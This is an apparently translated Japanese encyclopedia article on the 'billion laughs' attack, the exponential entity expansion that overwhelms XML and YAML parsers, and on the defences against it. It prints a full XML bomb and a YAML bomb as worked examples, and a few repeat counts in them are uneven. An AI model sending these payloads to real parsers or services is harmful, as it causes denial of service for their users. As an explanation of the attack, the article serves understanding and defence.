コンピュータセキュリティにおいて、10億の笑い攻撃は、 XMLドキュメントのパーサーを標的としたサービス拒否攻撃(DoS攻撃)の一種です。[ 1 ]
XML爆弾または指数関数的エンティティ拡張攻撃とも呼ばれます。 [ 2 ]
この攻撃例では、10個のエンティティを定義し、それぞれを前のエンティティの10個から構成します。文書は、最大のエンティティの単一インスタンスで構成され、最初のエンティティが10億個に拡張されます。エントリ数をさらに増やしたバージョンも存在します。
最もよく引用される例では、最初の要素は文字列「lol」であり、そのため「billion laughs(10億の笑い)」という名前が付けられています。この脆弱性が最初に報告された時点では、文字列「lol」が10億個出現した場合に使用されるコンピュータメモリは、XMLを解析するプロセスで使用可能なメモリ容量をはるかに超える可能性が高いと考えられていました。
攻撃の元来の形態は特にXMLパーサーを標的としていたが、この用語は同様の対象にも適用できる可能性がある。[ 1 ]
この問題は2002年には既に報告されていたが[ 3 ]、2008年には広く対処されるようになった[ 4 ]。
この種の攻撃に対する防御策としては、文書の損失が許容される場合に個々のパーサーに割り当てられるメモリを制限したり、エンティティをシンボルとして扱い、その内容が使用される場合(およびその範囲において)のみ遅延展開したりすることが挙げられる。
< ? xml version= "1.0" ? > <!DOCTYPE lolz [ <!ELEMENT lolz ( #PCDATA ) > <!ENTITY lol1 "lollollollollollollollollollol" > <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;" > <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;" > <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;" > <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;" > <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;" > <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;" > <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;" > <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;" > ]> <lolz > &lol9; </lolz>XML パーサーがこのドキュメントを読み込むと、ルート要素「lolz」が 1 つ含まれており、その中に「& lol9;」というテキストが含まれていることがわかります。しかし、「& lol9;」は定義済みのエンティティであり、10 個の「& lol8;」文字列を含む文字列に展開されます。各「& lol8;」文字列は定義済みのエンティティであり、10 個の「& lol7;」文字列に展開され、以下同様です。すべてのエンティティ展開が処理された後、この小さな (1 KB 未満) XML ブロックには、実際には 10 9 = 10 億個の「lol」が含まれ、ほぼ 3ギガバイトのメモリを消費します。[ 2 ]
上述の「10億の笑い」攻撃は、指数関数的に増加する空間または時間を必要とする可能性があります。二次爆発型攻撃は、大きなエンティティを何度も繰り返すことで、リソース要件を二次関数的に増加させ、深くネストされたエンティティを検出する対策を回避します。[ 5 ] (異なる成長クラスの比較については、計算複雑性理論を参照してください。)
マクロ展開を含むことができるファイル形式であれば、どのような形式でも「10億回の笑い」攻撃が可能となる。例えば、このYAML爆弾は以下の通りである。
a : &a [ " lol " , "lol" , "lol" , "lol" , "lol" , "lol" , " lol" , "lol" ] b : &b [ *a , *a , *a , *a , * a , *a , * a , * a ] c : &c [ *b , *b , *b , *b , *b , *b , *b , * b , *b ] d : &d [ *c , *c , *c , *c , *c , * c , *c , * c , *c ] e : &e [ *d , *d , *d , *d , * d , *d , *d , *d , *d ] f : &f [ *e , *e , *e , *e , *e , *e , *e , *e , *e ] g : &g [ *f , * f , *f , *f , *f , *f , * f , *f ] h : &h [ *g , *g , *g , *g , *g , * g , *g , * g ] i : &i [ *h , *h , *h , * h , *h , *h , *h , *h , *h ]以前のバージョンのGoでは、GoのYAMLプロセッサが(YAML仕様に反して)参照をマクロのように展開していたため、この問題でクラッシュが発生していました。GoのYAMLプロセッサは、結果オブジェクトが大きくなりすぎた場合に解析を失敗するように修正されました。
Kubernetesのようなエンタープライズソフトウェアは、YAMLパーサーを介してこの攻撃の影響を受けています。[ 6 ] [ 7 ]このため、意図的に機能が制限されたパーサー(StrictYAMLなど)を使用するか、信頼できないソースからのデータについては参照を許可しないファイル形式を使用するのが望ましい場合が多いです。[ 8 ]